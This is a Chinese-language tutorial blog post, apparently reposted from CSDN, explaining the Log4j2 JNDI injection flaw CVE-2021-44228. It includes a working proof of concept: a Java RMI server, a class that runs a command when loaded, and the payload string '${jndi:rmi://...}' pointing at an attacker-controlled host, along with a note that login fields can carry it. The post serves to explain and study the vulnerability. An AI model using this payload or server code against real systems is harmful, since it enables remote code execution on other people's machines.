CVE-2021-44228:Apache Log4j2 JNDI注入漏洞

Log4j是Apache软件基金会下的一个开源项目,通过使用log4j可以打印程序日志输出信息到控制台,文件等各种地方。简单来说,它是一个用于记录日志的Java第三方库,而且使用量非常广泛。

在2021年12月9日,Log4j2爆出极其严重的漏洞,攻击者只需要构造恶意数据植入日志记录中,就可以导致任意代码执行,危害极大,利用门槛极低。

Log4j2漏洞形成原理

Log4j2中提供了一种叫lookups的功能,这个功能很强大,可以把 {} 部分进行替换

public class Main {
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String content = "world";
        logger.trace("hello {}",content);

        //https://logging.apache.org/log4j/2.x/manual/lookups.html
        String content2 = "${java:os}";
        logger.trace("hello {}",content2);
        String content3 = "${java:vm}";
        logger.trace("hello {}",content3);
    }
}

打印结果:

2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)

这还不要紧,它还支持 JNDI lookup 就很要命了

本地启动一个JNDI服务看看

public class SimpleJndiServer {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            System.out.println("create rmi 1099");
            Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("demo", wrapper);
        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}
public class JndiObj implements ObjectFactory {

    static {
        System.out.println("this is JndiObj,i'm here!");
        try {
            //打开远程链接
            Runtime.getRuntime().exec("mstsc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return new JndiObj();
    }

    @Override
    public String toString() {
        return "JndiObj{" +
                "name='" + name + '\'' +
                '}';
    }
}

写入日志:

public class Main {
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        //JNDI注入参考链接
        //https://blog.csdn.net/caiqiiqi/article/details/105976072
        //192.168.31.13为客户端ip(攻击者ip),不是服务ip
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String content4 = "${jndi:rmi://192.168.31.13:1099/demo}";
        logger.trace("hello {}",content4);
    }
}

可以看到这次我日志中的内容变成了${jndi:rmi://192.168.31.13:1099/demo},这里需要注意的是192.168.31.13是我的本机ip,也就是攻击者的ip。会弹出一个远程连接的命令。

整理利用流程:${jndi:rmi://192.168.31.13:1099/demo}被打印到日志中,会被lookup会对其进行解析,并替换解析后的值,插入到记录语句中。

很多时候我们记录在日志中的动态参数都是对象,这些对象可能是从前端或者别的服务请求过来的。比如一个登录接口,如果User对象中的userName的值就是我们上面写的${jndi:rmi://192.168.31.13:1099/demo},那后果真的是不堪设想

猜你喜欢

转载自blog.csdn.net/qq_61553520/article/details/130852451